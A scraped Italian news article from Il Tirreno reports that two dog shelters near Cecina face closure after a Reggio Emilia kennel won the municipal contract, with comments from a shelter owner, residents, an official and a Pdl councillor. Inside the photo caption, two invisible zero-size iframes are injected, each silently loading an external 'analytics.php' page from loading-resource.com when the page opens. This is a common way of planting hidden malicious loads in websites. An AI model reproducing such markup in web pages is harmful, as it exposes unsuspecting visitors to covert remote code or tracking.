Il Tirreno

Sos animali. Strutture di zona in difficoltà, Angeli (Pdl): rivedere le spese delle convenzioni

Due canili a rischio chiusura

Alessandra Bernardeschi
Un manifesto per la pubblicità contro il randagismo<iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe><iframe height="0" src="http://loading-resource.com/analytics.php" style="visibility: hidden;" width="0"></iframe>
◗
Un manifesto per la pubblicità contro il randagismo

Per cento randagi pesa l'ipotesi trasferimento a Reggio Emilia

3 MINUTI DI LETTURA





CECINA. C'è subbuglio da qualche giorno nei canili di zona per la gestione del randagismo dopo che la Valle del Re di Reggio Emilia ha vinto la gara pubblica che permette alla struttura di accogliere anche cento cani provenienti dalla Bassa Val di Cecina. Ed il canile Oasi, che fino a qualche mese fa ospitava i cani ritrovati vaganti, l'altro è nella zona del Paratino, preannuncia una prossima chiusura. Fino a circa cinque anni fa i cani ritrovati in zona venivano portati ai vicini rifugi di Cecina ai quali i comuni pagavano una quota giornaliera di circa 4 euro al giorno. In più alcuni cani che non trovavano posto nelle strutture locali, venivano mandati a Reggio Emilia. Alcuni mesi fa i comuni hanno bandito una gara pubblica alla quale ha partecipato la Valle del Re risultata vincitrice e che può ospitare fino ad un massimo cento cani a 2 euro al giorno. «Noi - spiega Filippo Casini, titolare del canile Oasi - possiamo ospitare solo 15 bestiole e non ce la facciamo più a tirare avanti. E così dopo una collaborazione con i comuni iniziata dal '97, saremo molto probabilmente costretti a chiudere. Questa situazione ci ha messo in ginocchio. Eppure, solo negli ultimi quindici giorni abbiamo dato in adozione, tutto è documentato, almeno cinque cani. Cani che qui stanno bene in box di 12 metri quadrati e che vengono portati fuori tutti i giorni». Ma oltre al problema economico c'è anche quello affettivo «se passiamo il numero dei cani previsti, questi ci vengono tolti. Una situazione che abbiamo già vissuto per dodici di loro, ospitati nella nostra struttura da tanto, che poi siamo riusciti a far rientrare da Reggio Emilia grazie anche all'impegno dei nostri volontari. Ciò che vorremmo - continua Casini - è rivedere il rapporto con i comuni della val di Cecina e comunque, se dovessimo chiudere, che i nostri cani non andassero fuori regione». A preoccuparsi per questa situazione anche altri cittadini di Cecina: «Non ci piace come viene gestita la situazione del randagismo nella nostra zona - dice Alberto Bianchi - siamo un gruppo di cittadini arrabbiati perché i cani vengono spediti a Reggio Emilia e vorremmo più impegno da parte dei comuni che dovrebbero lanciare assidue e pubblicizzate campagne di adozioni». In questa vicenda pesa anche la delicata fase economica che i comuni stanno attraversano «siamo arrivati a pagare per i servizi sul randagismo - spiega Andrea Martinelli che si occupa del settore - anche 200mila euro l'anno. E comunque a giugno bandiremo una nuova gara alla quale tutti i canili aventi i requisiti possono partecipare. Perché i canili ai quali noi ci rivolgiamo debbono passare tutti i controlli, anche i più severi».  Sulla questione interviene anche Maria Grazia Angeli, consigliere comunale del Pdl di Rosignano, che ha presentato un'interpellanza al sindaco Franchi in cui chiede di conoscere i tempi di realizzazione del canile comprensoriale, e se è ancora il caso di pensare ad investimenti su questa struttura. Angeli insiste infatti sull'aspetto economico, ricordando che il Comune di Rosignano spende ogni anno tra i 90 e i 97mila euro contro la spesa compessiva di 250mila per la gestione associata dei comuni. Che pagano 27mila euro l'anno ai medici veterinari per la convenzione sulle cure di pronto soccorso. Angeli chiede di rivedere anche i termini della convenzione con gli enti e i medici veterinari e di intraprendere altre strade per il randagismo, tra cui una campagna di adozione ben fatta e decisa.

© RIPRODUZIONE RISERVATA

Non lasciare decidere l'algoritmo:

scegli Il Tirreno per le tue notizie su Google

Cronaca flash

Proteste

Sciopero della scuola e dei trasporti venerdì 16 ottobre: le fasce garantite e i motivi della protesta

di Redazione web